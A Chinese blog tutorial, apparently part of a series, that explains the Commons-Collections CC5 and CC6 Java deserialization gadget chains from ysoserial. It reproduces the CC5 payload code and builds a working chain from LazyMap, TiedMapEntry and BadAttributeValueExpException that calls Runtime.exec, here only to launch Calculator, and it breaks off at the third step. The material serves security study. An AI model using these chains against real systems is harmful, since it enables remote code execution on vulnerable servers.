YsoSerial 工具常用Payload分析之CC5、6(三)

这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload:

public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; }

前面到LazyMap这一段我们已经非常熟悉了,恶意的Transform放到了LazyMap中,只要有其他地方调用LazyMap的get()方法即可触发恶意Transform。

image-20210728151433001

通过IDEA的Find Usages功能,可以看到有上千个地方有对lazymap调用,而YsoSerial CC5选择了TiedMapEntry。

image-20210728152718115

TiedMapEntry

为什么CC5 选择使用TiedMapEntry呢,看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那getValue()就能触发代码执行,捎带的本类中还有equals 、hashCode、toString 有调用getValue,也就是说在TiedMapEntry 能触发代码执行的有 equals 、hashCode、toString、getValue这四个方法,其中toString和equals 某些场景下能够被隐式调用。

image-20210728153809441

image-20210728153825744

image-20210728153841450

利用链挖掘

将恶意类绑定到TiedMapEntry后,因为可以触发的方法变多了,同时特别是toString和equel方法更加通用所以,只要找到一个类满足以下条件,那RCE就能完成了:

该类有继承可以被序列化标志的Serializable接口,或者其父类有继承Serializable

该类的readObject方法中有调用可控变量的toString、equel、hashCode、getValue

满足这两个条件其实有很多,对应的分别有

调用toString的BadAttributeValueExpException 对应CC5

调用hashcode的HashMap,对应CC6

一、BadAttributeValueExpException(CC5)

先来分析下CC5的BadAttributeValueExpException,打开源码定位readObject,非常明显,有对序列化变量val的toString()操作。

image-20210728161114637

看一下这个val长啥样:

image-20210728161253256

val是一个Object类型的私有化变量,那思路就很清晰,只要把我们构造的TiedMapEntry 通过反射赋值给val即可。

实操

第一步 构造恶意的LazyMap

// 第一步 构造恶意lazyMap String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<String,String> hashMap = new HashMap<>(); hashMap.put("testKey","testVal"); Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

第二步 构造恶意的TiedMapEntry

// 第二步 构造恶意的 TiedMapEntry TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");

第三步 构造利用类 BadAttributeValueExpException

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwsxjx.html